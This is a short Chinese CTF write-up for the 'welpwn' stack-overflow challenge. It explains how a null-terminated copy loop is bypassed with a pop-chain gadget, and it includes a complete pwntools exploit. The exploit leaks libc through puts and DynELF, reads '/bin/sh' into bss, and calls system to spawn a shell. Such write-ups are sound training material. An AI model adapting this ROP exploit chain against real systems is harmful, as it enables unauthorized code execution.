题目:http://oj.xctf.org.cn/files/welpwn_932a4428ea8d4581431502ab7e66ea4b
最简单栈溢出,先read 1024字节,然后循环赋值导致栈溢出,循环到\0结束,因此需要构造ROP过掉\0限制:
0x0040089c: pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
‘A’*24 + p64(0x0040089c) + p64(‘BBBBBBBB’)
0xBBBBBBBB会覆盖EIP,因此将BBBBBBBB替换为ROP链,泄露libc函数。由于没有rdx的gadget,因此无法调用参数超过两个以上的方法。因此使用puts进行泄露。
泄露出gets和system地址后,调用gets将/bin/sh存储在bss,然后再执行system,get shell。
from pwn import *
#context.log_level = 'debug'
sock = process('./welpwn')
print proc.pidof(sock)[0]
#0x0040089c: pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
ppppr = 0x40089c
puts_plt = 0x4005A0
poprdi = 0x004008a3
main = 0x4007CD
sock.recvn(16)
def peek(addr):
rop = p64(poprdi) + p64(addr) + p64(puts_plt) + p64(main)
sock.send('A'*24 + p64(ppppr) + rop)
sock.recvn(27)
str = sock.recvuntil('Welcome to RCTF\n')
result = str.split('\nWelcome')[0]
if result == '':
return '\x00'
return result
d = DynELF(peek, elf=ELF('./welpwn'))
system = int(d.lookup('system', 'libc'))
gets = int(d.lookup('gets', 'libc'))
print 'gets = 0x%x'%gets
bss_start = 0x601070
rop1 = p64(poprdi) + p64(bss_start) + p64(gets) + p64(poprdi) + p64(bss_start) + p64(system)
sock.send('A'*24 + p64(ppppr) + rop1)
sock.send('/bin/sh\0')
sock.interactive()